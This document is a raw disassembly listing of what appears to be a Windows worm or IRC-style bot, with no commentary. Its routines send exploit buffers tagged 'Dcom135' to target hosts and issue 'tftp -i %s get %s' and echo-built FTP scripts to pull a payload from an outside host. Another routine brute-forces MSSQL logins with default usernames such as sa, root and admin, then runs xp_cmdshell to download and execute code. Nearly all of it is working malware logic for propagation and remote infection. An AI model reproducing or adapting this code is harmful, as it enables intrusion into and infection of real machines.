		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40408E
		push	[ebp+var_8]
		jmp	short loc_4040A6
; ---------------------------------------------------------------------------


loc_40408E:				; CODE XREF: sub_403E35+252j
		push	ebx
		lea	eax, [ebp+var_1338]
		push	esi
		push	eax
		push	edi
		call	dword_4413D0	; recv
		push	[ebp+var_8]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4040BA


loc_4040A6:				; CODE XREF: sub_403E35+216j
					; sub_403E35+257j
		call	sub_417C62
		pop	ecx
		push	edi


loc_4040AD:				; CODE XREF: sub_403E35+1FEj
		call	dword_441450	; closesocket


loc_4040B3:				; CODE XREF: sub_403E35+31j
					; sub_403E35+80j ...
		xor	eax, eax
		jmp	loc_404176
; ---------------------------------------------------------------------------


loc_4040BA:				; CODE XREF: sub_403E35+26Fj
		call	sub_417C62
		pop	ecx
		push	edi
		call	dword_441450	; closesocket


loc_4040C7:				; CODE XREF: sub_403E35+163j
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_234]
		push	offset unk_4260A0
		push	eax
		call	sub_4173AC
		add	esp, 0Ch
		xor	esi, esi


loc_4040E1:				; CODE XREF: sub_403E35+2CCj
		lea	eax, [ebp+var_234]
		push	eax
		call	sub_40C5D7
		test	eax, eax
		pop	ecx
		jnz	short loc_404105
		push	1388h
		nop
		call	near ptr 7C802442h
		inc	esi
		cmp	esi, 6
		jl	short loc_4040E1
		jmp	short loc_404173
; ---------------------------------------------------------------------------


loc_404105:				; CODE XREF: sub_403E35+2BBj
		lea	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebp+arg_A8]
		imul	eax, 3Ch
		add	eax, offset aDcom135 ; "Dcom135"
		push	eax
		lea	eax, [ebp+var_234]
		push	offset unk_426074
		push	eax
		call	sub_4173AC
		add	esp, 10h
		cmp	[ebp+arg_B4], ebx
		jnz	short loc_404151
		push	ebx
		lea	eax, [ebp+var_234]
		push	[ebp+arg_B0]
		push	eax
		lea	eax, [ebp+arg_14]
		push	eax
		push	[ebp+arg_0]
		call	sub_40DC10
		add	esp, 14h


loc_404151:				; CODE XREF: sub_403E35+2FDj
		lea	eax, [ebp+var_234]
		push	eax
		call	sub_40C4F7
		mov	eax, [ebp+arg_A8]
		pop	ecx
		imul	eax, 3Ch
		inc	dword_428C00[eax]
		lea	eax, dword_428C00[eax]


loc_404173:				; CODE XREF: sub_403E35+2CEj
		push	1
		pop	eax


loc_404176:				; CODE XREF: sub_403E35+280j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_403E35	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40417B	proc near		; DATA XREF: ___:00423004o
		jmp	$+5
sub_40417B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_404180	proc near
		push	0BB80h
		push	76Ch
		call	sub_415EF7
		pop	ecx
		mov	dword_43C640, eax
		pop	ecx
		retn
sub_404180	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404197	proc near		; CODE XREF: sub_4042F8+42Ap

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_417430
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	dword_4413F8	; inet_addr
		mov	[ebp+var_C], eax
		mov	ax, word ptr dword_43C640
		push	eax
		call	dword_4413B8	; ntohs
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	dword_441438	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_4042D1
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_441360	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_4042D1
		push	esi
		lea	eax, [ebp+var_5A0]
		push	400h
		push	eax
		push	ebx
		call	dword_4413D0	; recv
		mov	esi, offset byte_42EDC4
		push	esi
		push	esi
		push	[ebp+arg_0]
		call	sub_40AFAB
		pop	ecx
		mov	edi, 190h
		push	eax
		push	offset aTftpISGetS ; "tftp -i %s get %s\r\n"
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_41792A
		add	esp, 18h
		push	esi
		push	esi
		push	dword_43C64C
		push	[ebp+arg_0]
		call	sub_40AFAB
		pop	ecx
		push	eax
		push	offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user	1 1 >> o "...
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_41792A
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_417AF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	dword_441408	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4042D1
		push	1F4h
		nop
		call	near ptr 7C802442h
		push	esi
		push	offset dword_425A78
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_41792A
		add	esp, 10h
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_417AF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	dword_441408	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4042D5


loc_4042D1:				; CODE XREF: sub_404197+51j
					; sub_404197+67j ...
		xor	al, al
		jmp	short loc_4042F3
; ---------------------------------------------------------------------------


loc_4042D5:				; CODE XREF: sub_404197+138j
		push	0
		lea	eax, [ebp+var_5A0]
		push	400h
		push	eax
		push	ebx
		call	dword_4413D0	; recv
		push	ebx
		call	dword_441450	; closesocket
		mov	al, 1


loc_4042F3:				; CODE XREF: sub_404197+13Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_404197	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4042F8	proc near		; CODE XREF: sub_404737+125p
					; sub_404737+147p

var_89B4	= byte ptr -89B4h
var_894C	= byte ptr -894Ch
var_68DC	= byte ptr -68DCh
var_686C	= byte ptr -686Ch
var_5DA8	= byte ptr -5DA8h
var_4804	= byte ptr -4804h
var_4803	= byte ptr -4803h
var_3770	= byte ptr -3770h
var_2CAC	= byte ptr -2CACh
var_2CAB	= byte ptr -2CABh
var_2CA8	= byte ptr -2CA8h
var_2C2C	= byte ptr -2C2Ch
var_245C	= byte ptr -245Ch
var_1FB1	= byte ptr -1FB1h
var_1CC4	= byte ptr -1CC4h
var_14E0	= byte ptr -14E0h
var_14D0	= byte ptr -14D0h
var_11AC	= byte ptr -11ACh
var_11A8	= byte ptr -11A8h
var_119C	= byte ptr -119Ch
var_F14		= byte ptr -0F14h
var_E74		= byte ptr -0E74h
var_768		= dword	ptr -768h
var_758		= byte ptr -758h
var_744		= byte ptr -744h
var_104		= byte ptr -104h
var_103		= byte ptr -103h
var_B4		= byte ptr -0B4h
var_B1		= byte ptr -0B1h
var_87		= byte ptr -87h
var_85		= byte ptr -85h
var_84		= byte ptr -84h
var_3C		= byte ptr -3Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h
arg_C0		= dword	ptr  0C8h

		push	ebp
		mov	ebp, esp
		mov	eax, 89B4h
		call	sub_417B70
		mov	eax, dword_425AF8
		push	ebx
		mov	[ebp+var_10], eax
		mov	eax, dword_425AFC
		mov	[ebp+var_C], eax
		push	esi
		lea	eax, [ebp+arg_4]
		push	edi
		push	eax
		lea	eax, [ebp+var_3C]
		push	offset loc_425AEC
		push	eax
		call	sub_4173AC
		add	esp, 0Ch
		xor	ebx, ebx
		xor	esi, esi
		lea	eax, [ebp+var_103]


loc_404337:				; CODE XREF: sub_4042F8+4Ej
		mov	cl, [ebp+esi+var_3C]
		inc	esi
		mov	[eax-1], cl
		mov	[eax], bl
		inc	eax
		inc	eax
		cmp	esi, 28h
		jl	short loc_404337
		push	60h
		lea	eax, [ebp+var_B4]
		push	offset dword_4265E0
		push	eax
		call	sub_417490
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_417AF0
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		lea	eax, [ebp+var_84]
		push	eax
		call	sub_417490
		add	esp, 1Ch
		lea	eax, [ebp+var_3C]
		push	9
		push	(offset	aC_0+3)
		push	eax
		call	sub_417AF0
		pop	ecx
		lea	eax, [ebp+eax*2+var_85]
		push	eax
		call	sub_417490
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_417AF0
		add	al, 1Ah
		push	1
		shl	al, 1
		mov	[ebp+var_1], al
		lea	eax, [ebp+var_1]
		push	eax
		lea	eax, [ebp+var_B1]
		push	eax
		call	sub_417490
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_417AF0
		shl	al, 1
		add	al, 9
		push	1
		mov	[ebp+var_2], al
		lea	eax, [ebp+var_2]
		push	eax
		lea	eax, [ebp+var_87]
		push	eax
		call	sub_417490
		mov	ax, word ptr dword_43C640
		add	esp, 2Ch
		push	eax
		call	dword_4413B8	; ntohs
		xor	eax, 9999h
		push	2
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_4262E0
		call	sub_417490
		add	esp, 0Ch
		cmp	[ebp+arg_C0], ebx
		jz	loc_4044F4
		mov	edi, 0DACh
		lea	eax, [ebp+var_1CC4]
		push	edi
		push	90h
		push	eax
		call	sub_417430
		mov	eax, [ebp+arg_C0]
		push	4
		imul	eax, 3Ch
		lea	eax, dword_426A08[eax]
		mov	[ebp+var_14], eax
		push	eax
		lea	eax, [ebp+var_14E0]
		push	eax
		call	sub_417490
		mov	esi, offset loc_426230
		push	esi
		call	sub_417AF0
		push	eax
		lea	eax, [ebp+var_14D0]
		push	esi
		push	eax
		call	sub_417490
		push	4
		lea	eax, [ebp+var_11AC]
		push	offset loc_425AE4
		push	eax
		call	sub_417490
		push	4
		lea	eax, [ebp+var_11A8]
		push	[ebp+var_14]
		push	eax
		call	sub_417490
		add	esp, 40h
		push	esi
		call	sub_417AF0
		push	eax
		lea	eax, [ebp+var_119C]
		push	esi
		push	eax
		call	sub_417490
		add	esp, 10h
		xor	esi, esi
		lea	eax, [ebp+var_4803]


loc_4044AD:				; CODE XREF: sub_4042F8+1C6j
		mov	cl, [ebp+esi+var_1CC4]
		inc	esi
		mov	[eax-1], cl
		mov	[eax], bl
		inc	eax
		inc	eax
		cmp	esi, edi
		jl	short loc_4044AD
		mov	esi, 1C52h
		lea	eax, [ebp+var_89B4]
		push	esi
		push	31h
		push	eax
		mov	[ebp+var_2CAC],	bl
		mov	[ebp+var_2CAB],	bl
		call	sub_417430
		push	esi
		lea	eax, [ebp+var_68DC]
		push	31h
		push	eax
		call	sub_417430
		add	esp, 18h
		jmp	short loc_40454B
; ---------------------------------------------------------------------------


loc_4044F4:				; CODE XREF: sub_4042F8+118j
		push	7D0h
		lea	eax, [ebp+var_F14]
		push	90h
		push	eax
		call	sub_417430
		mov	esi, offset loc_426230
		push	esi
		call	sub_417AF0
		push	eax
		lea	eax, [ebp+var_E74]
		push	esi
		push	eax
		call	sub_417490
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_417AF0
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_758]
		push	eax
		call	sub_417490
		mov	eax, dword_426A08
		add	esp, 2Ch
		mov	[ebp+var_768], eax


loc_40454B:				; CODE XREF: sub_4042F8+1FAj
		push	0E29h
		lea	eax, [ebp+var_2CA8]
		push	31h
		push	eax
		call	sub_417430
		movsx	eax, [ebp+var_1]
		mov	edi, [ebp+arg_BC]
		add	esp, 0Ch
		add	eax, 4
		push	ebx
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	edi
		call	dword_441408	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40458A


loc_404583:				; CODE XREF: sub_4042F8+2B9j
					; sub_4042F8+2E0j ...
		xor	al, al
		jmp	loc_404732
; ---------------------------------------------------------------------------


loc_40458A:				; CODE XREF: sub_4042F8+289j
		mov	esi, 640h
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_4413D0	; recv
		push	ebx
		push	68h
		push	offset dword_426644
		push	edi
		call	dword_441408	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_404583
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_4413D0	; recv
		push	ebx
		push	0A0h
		push	offset dword_4266B0
		push	edi
		call	dword_441408	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_404583
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_4413D0	; recv
		cmp	[ebp+arg_C0], ebx
		jz	loc_4046A0
		push	68h
		lea	eax, [ebp+var_89B4]
		push	offset dword_426868
		push	eax
		call	sub_417490
		lea	eax, [ebp+var_4804]
		push	1B5Ah
		push	eax
		lea	eax, [ebp+var_894C]
		push	eax
		call	sub_417490
		push	70h
		lea	eax, [ebp+var_68DC]
		push	offset dword_4268D4
		push	eax
		call	sub_417490
		lea	eax, [ebp+var_3770]
		push	0A5Eh
		push	eax
		lea	eax, [ebp+var_686C]
		push	eax
		call	sub_417490
		push	84h
		lea	eax, [ebp+var_5DA8]
		push	offset dword_426948
		push	eax
		call	sub_417490
		add	esp, 3Ch
		lea	eax, [ebp+var_89B4]
		push	ebx
		push	10FCh
		push	eax
		push	edi
		call	dword_441408	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_404583
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_4413D0	; recv
		push	ebx
		push	0FDCh
		lea	eax, [ebp+var_68DC]
		jmp	short loc_4046F6
; ---------------------------------------------------------------------------


loc_4046A0:				; CODE XREF: sub_4042F8+2F8j
		push	7Ch
		lea	eax, [ebp+var_2CA8]
		push	offset dword_426754
		push	eax
		call	sub_417490
		lea	eax, [ebp+var_F14]
		push	7D0h
		push	eax
		lea	eax, [ebp+var_2C2C]
		push	eax
		call	sub_417490
		push	90h
		lea	eax, [ebp+var_245C]
		push	offset off_4267D4
		push	eax
		call	sub_417490
		add	esp, 24h
		mov	[ebp+var_1FB1],	bl
		lea	eax, [ebp+var_2CA8]
		push	ebx
		push	0CF8h


loc_4046F6:				; CODE XREF: sub_4042F8+3A6j
		push	eax
		push	edi
		call	dword_441408	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_404583
		push	12Ch
		nop
		call	near ptr 7C802442h
		sub	esp, 0BCh
		lea	esi, [ebp+arg_0]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_404197
		add	esp, 0BCh
		test	al, al
		setnz	al


loc_404732:				; CODE XREF: sub_4042F8+28Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4042F8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404737	proc near		; CODE XREF: ___:00403A2Dp
					; ___:0040494Dp ...

var_854		= byte ptr -854h
var_810		= byte ptr -810h
var_214		= byte ptr -214h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_14		= byte ptr  1Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h
arg_B0		= dword	ptr  0B8h

		push	ebp
		mov	ebp, esp
		sub	esp, 854h
		push	ebx
		push	esi
		push	edi
		push	0BB80h
		push	76Ch
		call	sub_415EF7
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_14]
		push	edi
		push	eax
		mov	[ebp+var_4], edi
		call	sub_417430
		add	esp, 14h
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_14], 2
		push	eax
		call	dword_4413F8	; inet_addr
		push	[ebp+arg_A0]
		mov	[ebp+var_10], eax
		call	dword_4413B8	; ntohs
		push	6
		push	1
		push	2
		mov	[ebp+var_12], ax
		call	dword_441438	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40483F
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	ebx
		call	dword_441360	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_40483F
		push	edi
		push	89h
		push	offset dword_4263C8
		push	ebx
		call	dword_441408	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40483F
		mov	esi, 640h
		push	edi
		lea	eax, [ebp+var_854]
		push	esi
		push	eax
		push	ebx
		call	dword_4413D0	; recv
		push	edi
		push	0A8h
		push	offset dword_426454
		push	ebx
		call	dword_441408	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40483F
		push	edi
		lea	eax, [ebp+var_854]
		push	esi
		push	eax
		push	ebx
		call	dword_4413D0	; recv
		push	edi
		push	0DEh
		push	offset dword_426500
		push	ebx
		call	dword_441408	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40483F
		push	edi
		lea	eax, [ebp+var_854]
		push	esi
		push	eax
		push	ebx
		call	dword_4413D0	; recv
		movsx	eax, [ebp+var_810]
		sub	eax, 30h
		jz	short loc_404849
		dec	eax
		jz	short loc_404846


loc_40483F:				; CODE XREF: sub_404737+63j
					; sub_404737+79j ...
		xor	eax, eax
		jmp	loc_40490C
; ---------------------------------------------------------------------------


loc_404846:				; CODE XREF: sub_404737+106j
		push	edi
		jmp	short loc_40486D
; ---------------------------------------------------------------------------


loc_404849:				; CODE XREF: sub_404737+103j
		push	2
		push	ebx
		sub	esp, 0BCh
		lea	esi, [ebp+arg_0]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_4042F8
		add	esp, 0C4h
		test	al, al
		jnz	short loc_40488D
		push	1


loc_40486D:				; CODE XREF: sub_404737+110j
		push	ebx
		lea	esi, [ebp+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_4042F8
		add	esp, 0C4h
		test	al, al
		jz	short loc_404894


loc_40488D:				; CODE XREF: sub_404737+132j
		mov	[ebp+var_4], 1


loc_404894:				; CODE XREF: sub_404737+154j
		push	ebx
		call	dword_441450	; closesocket
		cmp	[ebp+var_4], 0
		jz	short loc_404909
		lea	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebp+arg_A8]
		imul	eax, 3Ch
		add	eax, offset aDcom135 ; "Dcom135"
		push	eax
		push	offset unk_426B40
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41792A
		push	0
		lea	eax, [ebp+var_214]
		push	[ebp+arg_B0]
		push	eax
		lea	eax, [ebp+arg_14]
		push	eax
		push	[ebp+arg_0]
		call	sub_40DC10
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40C4F7
		mov	eax, [ebp+arg_A8]
		add	esp, 2Ch
		imul	eax, 3Ch
		inc	dword_428C00[eax]
		lea	eax, dword_428C00[eax]


loc_404909:				; CODE XREF: sub_404737+168j
		push	1
		pop	eax


loc_40490C:				; CODE XREF: sub_404737+10Aj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_404737	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		sub	esp, 0BCh
		lea	esi, [ebp+8]
		mov	dword ptr [ebp+0A8h], 1BDh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40381E
		push	2Fh
		lea	esi, [ebp+8]
		pop	ecx
		mov	dword ptr [ebp+0A8h], 1BDh
		mov	edi, esp
		mov	[ebp-4], eax
		rep movsd
		call	sub_404737
		add	esp, 0BCh
		cmp	dword ptr [ebp-4], 0
		jnz	short loc_404962
		test	eax, eax
		jz	short loc_404965


loc_404962:				; CODE XREF: ___:0040495Cj
		push	1
		pop	eax


loc_404965:				; CODE XREF: ___:00404960j
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404969	proc near		; CODE XREF: ___:00404C35p

var_E34		= byte ptr -0E34h
var_A34		= byte ptr -0A34h
var_634		= byte ptr -634h
var_234		= byte ptr -234h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_22		= byte ptr -22h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_14		= byte ptr  1Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h
arg_B0		= dword	ptr  0B8h
arg_B4		= dword	ptr  0BCh

		push	ebp
		mov	ebp, esp
		sub	esp, 0E34h
		mov	al, byte_43C63C
		push	ebx
		mov	[ebp+var_1], al
		lea	eax, [ebp+var_10]
		push	esi
		xor	ebx, ebx
		push	eax
		mov	esi, offset aSa	; "sa"
		push	ebx
		push	1
		mov	[ebp+var_34], esi
		mov	[ebp+var_30], offset aRoot ; "root"
		mov	[ebp+var_2C], offset aAdmin ; "admin"
		mov	[ebp+var_28], ebx
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_8], ebx
		call	dword_44133C
		test	ax, ax
		jnz	short loc_4049C9
		push	0FFFFFFFAh
		push	3
		push	0C8h
		push	[ebp+var_10]
		call	dword_441440
		test	ax, ax
		jz	short loc_4049D0


loc_4049C9:				; CODE XREF: sub_404969+47j
		xor	eax, eax
		jmp	loc_404C11
; ---------------------------------------------------------------------------


loc_4049D0:				; CODE XREF: sub_404969+5Ej
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_10]
		push	2
		call	dword_44133C
		test	ax, ax
		jnz	loc_404C04
		test	esi, esi
		push	edi
		mov	[ebp+var_18], ebx
		jz	loc_404BF5
		mov	edi, dword_421070
		lea	ecx, [ebp+var_34]
		mov	[ebp+var_20], ecx


loc_404A00:				; CODE XREF: sub_404969+1F4j
		cmp	off_42EF40, ebx
		mov	[ebp+var_14], ebx
		jz	loc_404B49
		mov	ebx, [ecx]
		mov	eax, offset off_42EF40
		mov	esi, eax


loc_404A18:				; CODE XREF: sub_404969+123j
		lea	ecx, [ebp+var_1]
		push	ecx
		push	dword ptr [eax]
		lea	eax, [ebp+arg_4]
		push	ebx
		push	[ebp+arg_A0]
		push	eax
		lea	eax, [ebp+var_A34]
		push	offset aDriverSqlServe ; "DRIVER={SQL Server};SERVER=%s,%d;UID=%s"...
		push	eax
		call	sub_4173AC
		add	esp, 1Ch
		lea	eax, [ebp+var_22]
		push	0
		push	eax
		lea	eax, [ebp+var_E34]
		push	400h
		push	eax
		lea	eax, [ebp+var_A34]
		push	eax
		call	sub_417AF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_A34]
		push	eax
		push	0
		push	[ebp+var_C]
		call	dword_4413F4
		test	ax, ax
		jz	short loc_404A93
		cmp	ax, 1
		jz	short loc_404A93
		push	1F4h
		call	edi	; Sleep
		inc	[ebp+var_14]
		add	esi, 4
		mov	eax, esi
		cmp	dword ptr [esi], 0
		jnz	short loc_404A18
		jmp	loc_404B47
; ---------------------------------------------------------------------------


loc_404A93:				; CODE XREF: sub_404969+109j
					; sub_404969+10Fj
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+var_C]
		push	3
		call	dword_44133C
		mov	esi, offset byte_42EDC4
		push	esi
		push	esi
		call	sub_417408
		push	eax
		call	sub_417408
		push	eax
		push	dword_43C64C
		push	[ebp+arg_0]
		call	sub_40AFAB
		pop	ecx
		push	eax
		lea	eax, [ebp+var_634]
		push	offset aExecMaster__xp ; "EXEC master..xp_cmdshell 'del eq&echo o"...
		push	eax
		call	sub_4173AC
		add	esp, 20h
		lea	eax, [ebp+var_634]
		push	0FFFFFFFDh
		push	eax
		push	[ebp+var_8]
		call	dword_44137C
		test	ax, ax
		jz	short loc_404B3C
		mov	ebx, 1388h
		push	ebx
		call	edi	; Sleep
		push	esi
		lea	eax, [ebp+var_634]
		push	offset aExecMaster___0 ; "EXEC master..xp_cmdshell '%s'"
		push	eax
		call	sub_4173AC
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_234]
		push	offset unk_426BB0
		push	eax
		call	sub_4173AC
		add	esp, 18h
		lea	eax, [ebp+var_634]
		push	0FFFFFFFDh
		push	eax
		push	[ebp+var_8]
		call	dword_44137C
		test	ax, ax
		jz	short loc_404B62
		push	ebx
		call	edi	; Sleep


loc_404B3C:				; CODE XREF: sub_404969+185j
		push	[ebp+var_8]
		push	3
		call	dword_4413D4


loc_404B47:				; CODE XREF: sub_404969+125j
		xor	ebx, ebx


loc_404B49:				; CODE XREF: sub_404969+A0j
		mov	ecx, [ebp+var_20]
		inc	[ebp+var_18]
		add	ecx, 4
		mov	[ebp+var_20], ecx
		cmp	[ecx], ebx
		jz	loc_404BF5
		jmp	loc_404A00
; ---------------------------------------------------------------------------


loc_404B62:				; CODE XREF: sub_404969+1CEj
		mov	eax, [ebp+var_14]
		mov	[ebp+var_1C], 1
		push	off_42EF40[eax*4]
		mov	eax, [ebp+var_18]
		push	[ebp+eax*4+var_34]
		lea	eax, [ebp+arg_4]
		push	[ebp+arg_A0]
		push	eax
		mov	eax, [ebp+arg_A8]
		imul	eax, 3Ch
		add	eax, offset aDcom135 ; "Dcom135"
		push	eax
		push	offset unk_426B6C
		lea	eax, [ebp+var_234]
		push	200h
		push	eax
		call	sub_41792A
		add	esp, 20h
		cmp	[ebp+arg_B4], 0
		jnz	short loc_404BD3
		push	0
		lea	eax, [ebp+var_234]
		push	[ebp+arg_B0]
		push	eax
		lea	eax, [ebp+arg_14]
		push	eax
		push	[ebp+arg_0]
		call	sub_40DC10
		add	esp, 14h


loc_404BD3:				; CODE XREF: sub_404969+24Aj
		lea	eax, [ebp+var_234]
		push	eax
		call	sub_40C4F7
		mov	eax, [ebp+arg_A8]
		pop	ecx
		imul	eax, 3Ch
		inc	dword_428C00[eax]
		lea	eax, dword_428C00[eax]


loc_404BF5:				; CODE XREF: sub_404969+85j
					; sub_404969+1EEj
		push	[ebp+var_C]
		push	2
		call	dword_4413D4
		mov	ebx, [ebp+var_1C]
		pop	edi


loc_404C04:				; CODE XREF: sub_404969+79j
		push	[ebp+var_10]
		push	1
		call	dword_4413D4
		mov	eax, ebx


loc_404C11:				; CODE XREF: sub_404969+62j
		pop	esi
		pop	ebx
		leave
		retn
sub_404969	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		sub	esp, 0BCh
		lea	esi, [ebp+8]
		mov	dword ptr [ebp+0A8h], 599h
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_404969
		push	2Fh
		lea	esi, [ebp+8]
		pop	ecx
		mov	dword ptr [ebp+0A8h], 1BDh
		mov	edi, esp
		mov	[ebp-4], eax
		rep movsd
		call	sub_404737
		add	esp, 0BCh
		mov	[ebp+0C0h], eax
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_404C69	proc near		; CODE XREF: sub_404D78+F4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		xor	esi, esi
		cmp	[esp+4+arg_4], esi
		jbe	short loc_404C98
		mov	edx, [esp+4+arg_8]


loc_404C76:				; CODE XREF: sub_404C69+2Dj
		mov	eax, [esp+4+arg_0]
		mov	cl, [esi+eax]
		mov	al, cl
		and	cl, 0Fh
		shr	al, 4
		add	cl, 41h
		add	al, 41h
		mov	[edx], cl
		mov	[edx+1], al
		inc	esi
		inc	edx
		inc	edx
		cmp	esi, [esp+4+arg_4]
		jb	short loc_404C76


loc_404C98:				; CODE XREF: sub_404C69+7j
		pop	esi
		retn
sub_404C69	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404C9A	proc near		; CODE XREF: sub_404C9A+CDp
					; sub_404D78+48Bp

var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_7		= byte ptr  0Fh
arg_C		= word ptr  14h
arg_14		= dword	ptr  1Ch
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= byte ptr  30h
arg_2B		= byte ptr  33h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_28], 0
		push	ebx
		push	esi
		push	edi
		jz	short loc_404CAE
		or	[ebp+arg_7], 1
		jmp	short loc_404CB2
; ---------------------------------------------------------------------------


loc_404CAE:				; CODE XREF: sub_404C9A+Cj
		and	[ebp+arg_7], 0FEh


loc_404CB2:				; CODE XREF: sub_404C9A+12j
		mov	ebx, [ebp+arg_20]
		mov	eax, [ebp+arg_24]
		lea	ecx, [ebx+18h]
		cmp	ecx, eax
		ja	short loc_404CD3
		or	[ebp+arg_7], 2
		and	[ebp+arg_2B], 0
		lea	eax, [ebx+18h]
		mov	[ebp+arg_14], ebx
		mov	[ebp+arg_C], ax
